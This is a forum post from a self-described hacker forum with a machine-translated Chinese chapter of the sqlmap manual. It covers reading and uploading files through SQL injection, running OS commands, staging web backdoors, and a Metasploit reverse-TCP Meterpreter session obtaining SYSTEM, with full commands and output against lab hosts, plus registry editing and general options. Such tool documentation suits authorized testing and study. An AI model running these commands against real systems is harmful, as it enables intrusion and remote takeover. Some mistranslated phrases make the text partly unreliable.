请选择 进入手机版 | 继续访问电脑版

落羽黑客论坛

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 126|回复: 5

sqlmap开源渗透测试工具简要教程系列【10】

[复制链接]

66

主题

68

帖子

226

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
226
发表于 2021-2-10 11:00:51 | 显示全部楼层 |阅读模式
  1. 从数据库服务器的文件系统读取文件
  2. 选项: --file-read

  3. 当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server,并且会话用户具有滥用数据库特定功能和体系结构弱点所需的特权时,可以从基础文件系统中检索文件的内容。指定的文件可以是文本文件或二进制文件。sqlmap将正确处理它。

  4. 这些技术在白皮书“高级SQL注入到操作系统的完全控制”中有详细介绍。

  5. 针对要检索二进制文件的Microsoft SQL Server 2005目标的示例:

  6. $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
  7. e=luther" --file-read "C:/example.exe" -v 1

  8. [...]
  9. [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
  10. web server operating system: Windows 2000
  11. web application technology: ASP.NET, Microsoft IIS 6.0, ASP
  12. back-end DBMS: Microsoft SQL Server 2005

  13. [hh:mm:50] [INFO] fetching file: 'C:/example.exe'
  14. [hh:mm:50] [INFO] the SQL query provided returns 3 entries
  15. C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
  16. C__example.exe'
  17. [...]

  18. $ ls -l output/192.168.136.129/files/C__example.exe
  19. -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
  20. _example.exe

  21. $ file output/192.168.136.129/files/C__example.exe
  22. output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
  23. ) Intel 80386 32-bit
  24. 将文件上传到数据库服务器的文件系统
  25. 选项:--file-write和--file-dest

  26. 当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server,并且会话用户具有滥用数据库特定功能和体系结构弱点所需的特权时,可以将本地文件上载到数据库服务器的文件系统。指定的文件可以是文本文件或二进制文件。sqlmap将正确处理它。

  27. 这些技术在白皮书“高级SQL注入到操作系统的完全控制”中有详细介绍。

  28. 针对MySQL目标上传二进制UPX压缩文件的示例:

  29. $ file /software/nc.exe.packed
  30. /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
  31. -bit

  32. $ ls -l /software/nc.exe.packed
  33. -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

  34. $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
  35. -file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

  36. [...]
  37. [hh:mm:29] [INFO] the back-end DBMS is MySQL
  38. web server operating system: Windows 2003 or 2008
  39. web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
  40. back-end DBMS: MySQL >= 5.0.0

  41. [...]
  42. do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
  43. fully written on the back-end DBMS file system? [Y/n] y
  44. [hh:mm:52] [INFO] retrieved: 31744
  45. [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
  46. ytes, same size as the local file '/software/nc.exe.packed'
  47. 操作系统接管
  48. 运行任意操作系统命令
  49. 选项和开关:--os-cmd和--os-shell

  50. 它可以在数据库服务器的底层操作系统上运行任意命令时,后端数据库管理系统或者是MySQL和PostgreSQL或Microsoft SQL Server和会话用户具有所需的权限滥用数据库特定的功能和架构的弱点。

  51. 上MySQL和PostgreSQL,SqlMap的上传(经由文件上传功能如上所述)含有两个用户定义函数的共享库(二进制文件),sys_exec()和sys_eval(),然后将其在数据库上创建这两个函数和调用它们中的一个来执行指定的命令,取决于用户选择是否显示标准输出。在Microsoft SQL Server上,sqlmap滥用xp_cmdshell存储过程:如果禁用了该存储过程(默认情况下,在Microsoft SQL Server> = 2005上),则sqlmap会重新启用它。如果它不存在,则sqlmap从头开始创建它。

  52. 当用户请求标准输出时,sqlmap使用枚举SQL注入技术(盲,带内或基于错误)中的一种来检索它。反之亦然,如果不需要标准输出,则使用堆栈查询SQL注入技术来执行命令。

  53. 这些技术在白皮书“高级SQL注入到操作系统的完全控制”中有详细介绍。

  54. 针对PostgreSQL目标的示例:

  55. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
  56. os-cmd id -v 1

  57. [...]
  58. web application technology: PHP 5.2.6, Apache 2.2.9
  59. back-end DBMS: PostgreSQL
  60. [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
  61. [hh:mm:12] [INFO] the back-end DBMS operating system is Linux
  62. [hh:mm:12] [INFO] testing if current user is DBA
  63. [hh:mm:12] [INFO] detecting back-end DBMS version from its banner
  64. [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
  65. [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
  66. [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
  67. [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
  68. do you want to retrieve the command standard output? [Y/n/a] y
  69. command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(post
  70. gres)'

  71. [hh:mm:19] [INFO] cleaning up the database management system
  72. do you want to remove UDF 'sys_eval'? [Y/n] y
  73. do you want to remove UDF 'sys_exec'? [Y/n] y
  74. [hh:mm:23] [INFO] database management system cleanup finished
  75. [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
  76. tem can only be deleted manually
  77. 也有可能模拟真实的shell,您可以在其中键入任意数量的任意命令。该选项具有--os-shell并且具有相同的TAB完成和历史功能--sql-shell。

  78. 如果未在Web应用程序上识别出堆栈查询(例如,后端数据库管理系统为MySQL的PHP​​或ASP),而DBMS为MySQL,则仍然有可能滥用该SELECT子句INTO OUTFILE在其中的可写文件夹中创建Web后门Web服务器文档的根目录,并且假设后端DBMS和Web服务器托管在同一服务器上,则仍然可以执行命令。sqlmap支持此技术,并允许用户提供可能的文档根子文件夹的逗号分隔列表,其中尝试上载Web文件暂存器和后续的Web后门。此外,sqlmap具有针对以下语言的经过测试的Web文件登台程序和后门程序:

  79. 均价
  80. ASP.NET
  81. JSP
  82. 的PHP
  83. 带外状态连接:Meterpreter和朋友
  84. 开关和选项:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path和--tmp-path

  85. 当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server且会话用户有需要时,可以在攻击者机器与数据库服务器基础操作系统之间建立带外状态TCP连接。滥用数据库特定功能和体系结构弱点的特权。根据用户的选择,此通道可以是交互式命令提示符,Meterpreter会话或图形用户界面(VNC)会话。

  86. sqlmap依靠Metasploit创建shellcode,并实现四种不同的技术来在数据库服务器上执行它。这些技术是:

  87. 通过sqlmap自己的用户定义函数在Metasploit的shellcode的数据库内存中执行sys_bineval()。在MySQL和PostgreSQL-switch上受支持--os-pwn。
  88. 通过MySQL和PostgreSQL上的sqlmap自己的用户定义函数或通过Microsoft SQL Server-switch上载和执行Metasploit的独立有效负载暂存器。sys_exec()xp_cmdshell()--os-pwn
  89. 通过执行SMB反射攻击(MS08-068),执行从数据库服务器到Metasploitsmb_relay服务器利用程序侦听的攻击者计算机的UNC路径请求,执行Metasploit的shellcode 。uid=0在Linux / Unix上以高特权()运行sqlmap时,在Windows-switch上,目标DBMS以管理员身份运行时受支持--os-smbrelay。
  90. 通过利用Microsoft SQL Server 2000和2005 sp_replwritetovarbin存储过程基于堆的缓冲区溢出(MS09-004),对Metasploit的shellcode进行数据库内存执行。sqlmap有其自身的利用漏洞,可以通过自动DEP内存保护绕过来触发该漏洞,但是它依靠Metasploit生成外壳代码,以在成功利用利用-切换成功后执行该代码--os-bof。
  91. 在白皮书《高级SQL注入到操作系统的完全控制》和幻灯片中,详细介绍了这些技术。从数据库扩展对操作系统的控制。

  92. 针对MySQL目标的示例:

  93. $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
  94. id=1" --os-pwn --msf-path /software/metasploit

  95. [...]
  96. [hh:mm:31] [INFO] the back-end DBMS is MySQL
  97. web server operating system: Windows 2003
  98. web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
  99. back-end DBMS: MySQL 5.0
  100. [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
  101. [hh:mm:31] [INFO] the back-end DBMS operating system is Windows
  102. how do you want to establish the tunnel?
  103. [1] TCP: Metasploit Framework (default)
  104. [2] ICMP: icmpsh - ICMP tunneling
  105. >
  106. [hh:mm:32] [INFO] testing if current user is DBA
  107. [hh:mm:32] [INFO] fetching current user
  108. what is the back-end database management system architecture?
  109. [1] 32-bit (default)
  110. [2] 64-bit
  111. >
  112. [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
  113. [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
  114. [hh:mm:33] [INFO] detecting back-end DBMS version from its banner
  115. [hh:mm:33] [INFO] retrieving MySQL base directory absolute path
  116. [hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
  117. [hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
  118. how do you want to execute the Metasploit shellcode on the back-end database und
  119. erlying operating system?
  120. [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
  121. [2] Stand-alone payload stager (file system way)
  122. >
  123. [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
  124. which connection type do you want to use?
  125. [1] Reverse TCP: Connect back from the database host to this machine (default)
  126. [2] Reverse TCP: Try to connect back from the database host to this machine, on
  127. all ports
  128. between the specified and 65535
  129. [3] Bind TCP: Listen on the database host for a connection
  130. >
  131. which is the local address? [192.168.136.1]
  132. which local port number do you want to use? [60641]
  133. which payload do you want to use?
  134. [1] Meterpreter (default)
  135. [2] Shell
  136. [3] VNC
  137. >
  138. [hh:mm:40] [INFO] creation in progress ... done
  139. [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
  140. lease wait..

  141.                                 _
  142.                                 | |      o
  143. _  _  _    _ _|_  __,   ,    _  | |  __    _|_
  144. / |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
  145. |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
  146.                         /|
  147.                         \|


  148.     =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
  149. + -- --=[ 674 exploits - 351 auxiliary
  150. + -- --=[ 217 payloads - 27 encoders - 8 nops
  151.     =[ svn r12272 updated 4 days ago (2011.04.07)

  152. PAYLOAD => windows/meterpreter/reverse_tcp
  153. EXITFUNC => thread
  154. LPORT => 60641
  155. LHOST => 192.168.136.1
  156. [*] Started reverse handler on 192.168.136.1:60641
  157. [*] Starting the payload handler...
  158. [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
  159. ineval', please wait..
  160. [*] Sending stage (749056 bytes) to 192.168.136.129
  161. [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
  162. t Mon Apr 11 hh:mm:52 +0100 2011

  163. meterpreter > Loading extension espia...success.
  164. meterpreter > Loading extension incognito...success.
  165. meterpreter > [-] The 'priv' extension has already been loaded.
  166. meterpreter > Loading extension sniffer...success.
  167. meterpreter > System Language : en_US
  168. OS              : Windows .NET Server (Build 3790, Service Pack 2).
  169. Computer        : W2K3R2
  170. Architecture    : x86
  171. Meterpreter     : x86/win32
  172. meterpreter > Server username: NT AUTHORITY\SYSTEM
  173. meterpreter > ipconfig

  174. MS TCP Loopback interface
  175. Hardware MAC: 00:00:00:00:00:00
  176. IP Address  : 127.0.0.1
  177. Netmask     : 255.0.0.0



  178. Intel(R) PRO/1000 MT Network Connection
  179. Hardware MAC: 00:0c:29:fc:79:39
  180. IP Address  : 192.168.136.129
  181. Netmask     : 255.255.255.0


  182. meterpreter > exit

  183. [*] Meterpreter session 1 closed.  Reason: User exit
  184. 默认情况下,Windows上的MySQL运行为SYSTEM,而PostgreSQLpostgres在Windows和Linux上均以低特权用户身份运行。微软的SQL Server 2000默认运行SYSTEM,而微软SQL Server 2005和2008上运行大多数时候是NETWORK SERVICE和有时LOCAL SERVICE。

  185. 可以为sqlmap提供开关,--priv-esc以通过Metasploit的命令执行数据库进程的用户特权升级getsystem,该命令除其他外包括kitrap0d技术(MS10-015)。

  186. Windows注册表访问
  187. 当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server,并且Web应用程序支持堆叠查询时,可以访问Windows注册表。同样,会话用户必须具有所需的特权才能访问它。

  188. 读取Windows注册表项值
  189. 开关: --reg-read

  190. 使用此开关,您可以读取注册表项值。

  191. 编写Windows注册表项值
  192. 开关: --reg-add

  193. 使用此开关,您可以编写注册表项值。

  194. 删除Windows注册表项
  195. 开关: --reg-del

  196. 使用此开关,您可以删除注册表项。

  197. 辅助注册表选项
  198. 选项:--reg-key,--reg-value,--reg-data和--reg-type

  199. 这些选项可用于提供正确运行开关所需的数据--reg-read,--reg-add和 --reg-del。因此,您可以在命令提示符下将它们用作程序参数,而不是在询问时提供注册表项信息。

  200. 通过--reg-key选项,您可以指定使用的Windows注册表项路径,--reg-value在提供的键中使用值项目名称,并使用--reg-data值数据,而通过--reg-type选项,您可以指定值项目的类型。

  201. 下面是添加注册表项配置单元的示例命令行:

  202. $ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\
  203. eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\
  204. pe=REG_SZ --reg-data=1
  205. 一般
  206. 这些选项可用于设置一些常规工作参数。

  207. 从存储的(.sqlite)文件加载会话
  208. 选项: -s

  209. sqlmap会在专用输出目录内为每个目标自动创建一个持久会话SQLite文件,该文件中存储了会话恢复所需的所有数据。如果用户想要显式设置会话文件位置(例如,用于在一个地方存储多个目标的会话数据),则可以使用此选项。

  210. 将HTTP流量记录到文本文件
  211. 选项: -t

  212. 此选项需要一个参数,该参数指定文本文件以写入由sqlmap生成的所有HTTP通信-HTTP(S)请求和HTTP(S)响应。

  213. 这主要用于调试目的-当您向开发人员提供潜在的错误报告时,也请发送此文件。

  214. 设置问题答案
  215. 选项: --answers

  216. 如果用户想要自动设置问题的答案(即使--batch使用了答案),则使用此选项,他可以通过在等号后提供问题的任何部分以及答案来实现。另外,不同问题的答案可以用定界符分隔,。

  217. 针对MySQL目标的示例:

  218. $ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\
  219. chnique=E --answers="extending=N" --batch
  220. [...]
  221. [xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
  222. heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
  223. want to skip test payloads specific for other DBMSes? [Y/n] Y
  224. [xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide
  225. d level (1) and risk (1)? [Y/n] N
  226. [...]
  227. 声明包含Base64编码数据的参数
  228. 选项: --base64

  229. 如果目标Web应用程序使用Base64编码将数据存储在特定参数(例如,Base64编码的JSON字典)中,则用户可以使用选项声明它,--base64从而指示sqlmap正确测试基础值。

  230. 用法示例(注意:)Base64('{"id": 1}') == 'eyJpZCI6IDF9':

  231. $ python sqlmap.py -u http://192.168.22.128/sqlmap/mysql/get_base64?value=eyJpZC\
  232. I6IDF9 -v 5 --base64=value
  233. [...]
  234. [23:43:35] [INFO] testing 'Boolean-based blind - Parameter replace (original valu
  235. e)'
  236. [23:43:35] [PAYLOAD] KFNFTEVDVCAoQ0FTRSBXSEVOICgzODY1PTUzMTQpIFRIRU4gJ3siaWQiOiAx
  237. fScgRUxTRSAoU0VMRUNUIDUzMTQgVU5JT04gU0VMRUNUIDE5MzIpIEVORCkp
  238. [23:43:35] [TRAFFIC OUT] HTTP request [#11]:
  239. GET /?value=KFNFTEVDVCAoQ0FTRSBXSEVOICgzODY1PTUzMTQpIFRIRU4gJ3siaWQiOiAxfScgRUxTR
  240. SAoU0VMRUNUIDUzMTQgVU5JT04gU0VMRUNUIDE5MzIpIEVORCkp HTTP/1.1
  241. Host: localhost
  242. Cache-control: no-cache
  243. Accept-encoding: gzip,deflate
  244. Accept: */*
  245. User-agent: sqlmap/1.4.4.3#dev (http://sqlmap.org)
  246. Connection: close
  247. [...]
  248. 以非交互模式运行
  249. 开关: --batch

  250. 如果希望sqlmap作为批处理工具运行,并且在sqlmap需要它时没有任何用户交互,则可以使用switch强制执行该操作--batch。每当需要用户输入时,这都会使sqlmap保持默认行为。

  251. 二进制内容检索
  252. 选项 --binary-fields

  253. 在二进制内容检索的情况下,例如在具有存储二进制值的列的表的示例中(例如,password具有存储密码二进制值的二进制列的表),可以使用--binary-fieldssqlmap进行(额外)适当处理的选项。然后检索所有这些字段(即表列)并以其十六进制表示形式表示,因此之后可以使用其他工具(例如john)进行适当处理。

  254. 自定义(盲)SQL注入字符集
  255. 选项: --charset

  256. 在基于布尔的盲和基于时间的盲SQL注入情况下,用户可以强制使用自定义字符集来加快数据检索过程。例如,在转储消息摘要值(例如SHA1)的情况下,通过使用(例如)--charset="0123456789abcdef"预期的请求数比正常运行时少30%左右。

  257. 从目标网址开始抓取网站
  258. 选项: --crawl

  259. sqlmap可以通过从目标位置开始收集(爬网)潜在的脆弱链接。使用此选项,用户可以设置深度(距起始位置的距离),在此深度以下sqlmap不会进入收集阶段,因为只要有新的链接要访问,该过程就会以递归方式进行。

  260. 针对MySQL目标运行的示例:

  261. $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
  262. [...]
  263. [xx:xx:53] [INFO] starting crawler
  264. [xx:xx:53] [INFO] searching for links with depth 1
  265. [xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
  266. [xx:xx:53] [INFO] searching for links with depth 2
  267. [xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
  268. [xx:xx:00] [INFO] 42/56 links visited (75%)
  269. [...]
  270. 选项 --crawl-exclude

  271. 使用此选项,您可以通过提供正则表达式来阻止页面进行爬网。例如,如果您要跳过logout路径中所有带有关键字的页面,则可以使用--crawl-exclude=logout。

  272. CSV输出中使用的定界字符
  273. 选项: --csv-del

  274. 当将转储的数据存储为CSV格式(--dump-format=CSV)时,条目必须用“分隔值”分隔(默认值为,)。如果用户要覆盖其默认值,则可以使用此选项(例如--csv-del=";")。

  275. DBMS身份验证凭据
  276. 选项: --dbms-cred

  277. 在某些情况下,系统会警告用户某些操作由于缺少当前的DBMS用户权限而失败,因此他可以尝试使用此选项。在那些情况下,如果他admin通过使用此选项向sqlmap提供用户凭据,则sqlmap将尝试OPENROWSET使用那些凭据通过专门的“运行方式”机制(例如,在Microsoft SQL Server上)重新运行有问题的部分。

  278. 转储数据的格式
  279. 选项: --dump-format

  280. 的SqlMap支持三种不同类型的存储所倾倒时表数据转换成相应的文件的输出目录内格式化的:CSV,HTML和SQLITE。默认值是CSV,其中每个表行都逐行存储到文本文件中,并且每个条目都以逗号分隔,(或带有option的条目--csv-del)。在的情况下HTML,输出将存储到HTML文件中,其中每一行均以格式化表格内的一行表示。对于SQLITE,输出将存储到SQLITE数据库中,原始表内容将被复制到具有相同名称的对应表中。

  281. 强制字符编码用于数据检索
  282. 选项: --encoding

  283. 为了正确解码字符数据,sqlmap使用Web服务器提供的信息(例如HTTP标头Content-Type)或来自第三方库chardet的启发式结果。

  284. 但是,在某些情况下,必须重写此值,尤其是在检索包含国际非ASCII字母(例如--encoding=GBK)的数据时。必须注意的是,由于存储的数据库内容与目标端使用的数据库连接器之间的隐式不兼容,字符信息可能会不可逆转地丢失。

  285. 预计到达时间
  286. 开关: --eta

  287. 可以实时计算和显示估计的到达时间,以检索每个查询输出。当用于检索输出的技术是任何盲SQL注入类型时,将显示此信息。

  288. 针对仅受基于布尔的盲SQL注入影响的Oracle目标的示例:

  289. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\
  290. =1" -b --eta

  291. [...]
  292. [hh:mm:01] [INFO] the back-end DBMS is Oracle
  293. [hh:mm:01] [INFO] fetching banner
  294. [hh:mm:01] [INFO] retrieving the length of query output
  295. [hh:mm:01] [INFO] retrieved: 64
  296. 17% [========>                                          ] 11/64  ETA 00:19
  297. 然后:

  298. 100% [===================================================] 64/64
  299. [hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
  300. .0.1.0 - Prod

  301. web application technology: PHP 5.2.6, Apache 2.2.9
  302. back-end DBMS: Oracle
  303. banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
  304. 如您所见,sqlmap首先计算查询输出的长度,然后估计到达时间,以百分比显示进度并计算检索到的输出字符数。

  305. 刷新会话文件
  306. 选项: --flush-session

  307. 由于您已经从上面的描述熟悉了会话文件的概念,因此很高兴知道可以使用option刷新该文件的内容--flush-session。这样,您可以避免在sqlmap中默认实现的缓存机制。其他可能的方法是手动删除会话文件。

  308. 解析和测试表单的输入字段
  309. 开关: --forms

  310. 假设您要针对大型注入形式的SQL注入进行测试,或者要测试登录绕过(通常只有两个输入字段,例如username和password),则可以将请求传递到sqlmap的请求文件中-r,设置为相应地发布数据(--data)或让sqlmap为您完成!

  311. 上述两个实例以及许多其他实例在HTML响应正文中均显示为 <form>和 <input>标记,这就是该开关起作用的地方。

  312. 提供sqlmap--forms以及可以在其中找到该表单的页面作为目标URL(-u),并且sqlmap将为您请求目标URL,解析其拥有的表单并指导您测试这些表单输入字段上的SQL注入(参数),而不是提供的目标网址。

  313. 忽略存储在会话文件中的查询结果
  314. 开关: --fresh-queries

  315. 由于您已经从上面的描述熟悉了会话文件的概念,因此很高兴知道可以使用option忽略该文件的内容--fresh-queries。这样,您可以保持会话文件不变,并在选定的运行中避免恢复/还原查询输出。

  316. 使用DBMS十六进制函数进行数据检索
  317. 开关: --hex

  318. 在丢失情况下,非ASCII数据的检索需要特殊的需求。解决该问题的一种方法是使用DBMS十六进制函数。通过此开关打开,数据在检索之前先编码为十六进制格式,然后再未编码为原始格式。

  319. 针对PostgreSQL目标的示例:

  320. $ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\
  321. anner --hex -v 3 --parse-errors

  322. [...]
  323. [xx:xx:14] [INFO] fetching banner
  324. [xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
  325. (58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
  326. ))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
  327. CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
  328. [xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'
  329. >function.pg-query</a>]: Query failed: ERROR:  invalid input syntax for type num
  330. eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
  331. 676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
  332. 6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
  333. hp</b> on line <b>35</b>'
  334. [xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
  335. GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
  336. [...]
  337. 自定义输出目录路径
  338. 选项: --output-dir

  339. 默认情况下,sqlmap将会话和结果文件存储在子目录中output。如果您想使用其他位置,则可以使用此选项(例如--output-dir=/tmp)。

  340. 从响应页面解析DBMS错误消息
  341. 开关: --parse-errors

  342. 如果将Web应用程序配置为调试模式,以便在HTTP响应中显示后端数据库管理系统错误消息,则sqlmap可以为您解析并显示它们。

  343. 这对于调试目的很有用,例如了解为什么某些枚举或接管开关不起作用-这可能与会话用户的权限有关,在这种情况下,您会看到一行类似的DBMS错误消息Access denied for user <SESSION USER>。

  344. 针对Microsoft SQL Server目标的示例:

  345. $ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
  346. --parse-errors
  347. [...]
  348. [xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the
  349. timeneeded to find the right number of query columns. Automatically extending th
  350. e rangefor current UNION query injection technique test
  351. [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
  352. ers (0x80040E14)
  353. [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
  354. s out of range of the number of items in the select list.
  355. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
  356. [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
  357. ers (0x80040E14)
  358. [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
  359. out of range of the number of items in the select list.
  360. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
  361. [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
  362. ers (0x80040E14)
  363. [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
  364. out of range of the number of items in the select list.
  365. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
  366. [xx:xx:17] [INFO] target URL appears to have 3 columns in query
  367. [...]
  368. 预处理(请求)
  369. 选项 --preprocess

  370. 使用此选项,可以将预处理脚本用于(HTTP)请求数据,然后再发送到目标(例如,微调请求)。例如,将伪参数值附加&foo=bar到POST正文的预处理脚本:

  371. #!/usr/bin/env python

  372. def preprocess(req):
  373.     if req.data:
  374.         req.data += b'&foo=bar'
  375. 后处理(响应)
  376. 选项 --postprocess

  377. 使用此选项,可以将后处理脚本用于(HTTP)响应数据,然后再由sqlmap检测引擎使用(例如,解码数据或删除垃圾)。例如,将所有小写字母转换为大写字母的后处理脚本可以是:

  378. #!/usr/bin/env python

  379. def postprocess(page, headers=None, code=None):
  380.     return page.upper() if page else page, headers, code
  381. 将选项保存在配置INI文件中
  382. 选项: --save

  383. 可以将命令行选项保存到配置INI文件中。然后可以编辑生成的文件,并使用上述-c选项将其传递到sqlmap 。

  384. 更新sqlmap
  385. 开关: --update

  386. 使用此选项,您可以直接从Git存储库将工具更新到最新的开发版本。您显然需要Internet访问。

  387. 如果由于某种原因该操作失败,请git pull从sqlmap工作副本中运行。它将执行与switch完全相同的操作--update。如果在Windows上运行sqlmap,则可以使用SmartGit客户端。

  388. 在向邮件列表报告任何错误之前,强烈建议这样做。


  389. 使用短助记符
  390. 选项: -z

  391. 键入所有所需的选项和开关可能变得很乏味,尤其是对于最常用的选项和开关(例如--batch --random-agent --ignore-proxy --technique=BEU)。解决这个问题有一种更简单,更短的方法。在sqlmap中,它称为“助记符”。

  392. 每个选项和开关都可以使用option以较短的助记符形式编写-z,并用逗号(,)分隔,其中助记符仅表示原始名称的第一个任意选择的部分。没有对选项和切换到它们各自缩短的对应项的严格映射。唯一需要的条件是没有其他选项和开关具有与所需选项相同的前缀。

  393. 例:

  394. $ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\
  395. w.target.com/vuln.php?id=1"
  396. 可以用较短的助记符形式(多种方式之一)编写:

  397. $ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\
  398. 1"
  399. 另一个例子:

  400. $ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\
  401. b -T users -u "www.target.com/vuln.php?id=1"
  402. 可以用较短的助记符形式编写,例如:

  403. $ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\
  404. com/vuln.php?id=1"
  405. 在成功检测到SQL注入时发出警报
  406. 选项: --alert

  407. 找到SQL注入时发出提示音
  408. 开关: --beep

  409. 如果用户使用switch --beep,当发现SQL注入时,将立即通过嘟嘟声警告他。当有大量-m要测试的目标URL列表(选项)时,此功能特别有用。

  410. 从sqlmap特定的UDF和表中清除DBMS
  411. 开关: --cleanup

  412. 建议sqlmapoutput您在完成基础操作系统或文件系统的接管后,从sqlmap临时表(例如)中清理后端数据库管理系统,并创建用户定义的函数。Switch--cleanup会尽可能尝试清理DBMS和文件系统。

  413. 检查依赖项
  414. 开关: --dependencies

  415. 在某些特殊情况下,sqlmap需要独立安装额外的第三方库(例如,options -d,--os-pwn在icmpsh隧道情况下进行切换,--auth-type在NTLMHTTP身份验证类型情况下进行选择等),并且仅在此类特殊情况下才会警告用户。但是,如果您想独立检查所有这些额外的第三方库依赖关系,则可以使用switch --dependencies。

  416. $ python sqlmap.py --dependencies
  417. [...]
  418. [xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in
  419. order to directly connect to the DBMS Firebird. Download from http://kinterbasd
  420. b.sourceforge.net/
  421. [xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
  422. er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
  423. rge.net/
  424. [xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord
  425. er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
  426. unt/PyMySQL/
  427. [xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o
  428. rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
  429. ceforge.net/
  430. [xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or
  431. der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
  432. sycopg/
  433. [xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde
